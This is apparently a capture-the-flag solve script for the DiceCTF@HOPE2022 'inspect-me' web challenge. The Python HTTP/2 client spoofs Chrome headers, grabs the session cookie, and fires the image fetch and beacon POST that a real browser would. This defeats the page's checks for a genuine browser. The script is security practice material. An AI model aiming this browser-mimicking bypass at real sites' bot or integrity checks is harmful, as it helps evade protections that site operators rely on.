DiceCTF@HOPE2022 web/inspect-me

client.py

import socket
import ssl

import h2.connection  # pip install h2

HOST = "inspect-me.mc.ax"


def send_headers(h2conn, path, method, cookie):
    headers = [
        (":authority", HOST),
        (":method", method),
        (":path", path),
        (":scheme", "https"),
        ("cookie", cookie),
        ("sec-ch-ua", "Google Chrome"),
        ("user-agent", "Chrome"),
    ]

    stream = h2conn.get_next_available_stream_id()
    h2conn.send_headers(stream, headers, end_stream=True)

    return stream


def main():
    ctx = ssl.create_default_context()
    ctx.set_alpn_protocols(["h2"])

    conn = socket.create_connection((HOST, 443))
    conn = ctx.wrap_socket(conn, server_hostname=HOST)
    assert conn.selected_alpn_protocol() == "h2"

    h2conn = h2.connection.H2Connection()
    h2conn.initiate_connection()

    cookie = ""
    page_data = ""
    page_ended = False

    page_stream = send_headers(h2conn, "/", "GET", cookie)

    while not page_ended:
        conn.sendall(h2conn.data_to_send())

        data = conn.recv(65536 * 1024)
        if not data:
            break

        for event in h2conn.receive_data(data):
            if isinstance(event, h2.events.DataReceived):
                h2conn.acknowledge_received_data(
                    event.flow_controlled_length, event.stream_id
                )

            if getattr(event, "stream_id", None) != page_stream:
                continue

            if isinstance(event, h2.events.DataReceived):
                data = event.data.decode()
                page_data += data

                if "background.jpg" in data:
                    send_headers(h2conn, "/background.jpg", "GET", cookie)
                if "navigator.sendBeacon" in data:
                    send_headers(h2conn, "/load", "POST", cookie)

            if isinstance(event, h2.events.StreamEnded):
                page_ended = True
                break

            if isinstance(event, h2.events.ResponseReceived) and not cookie:
                cookie = dict(event.headers)[b"set-cookie"].decode()

    h2conn.close_connection()
    conn.sendall(h2conn.data_to_send())
    conn.close()

    return page_data


if __name__ == "__main__":
    print(main())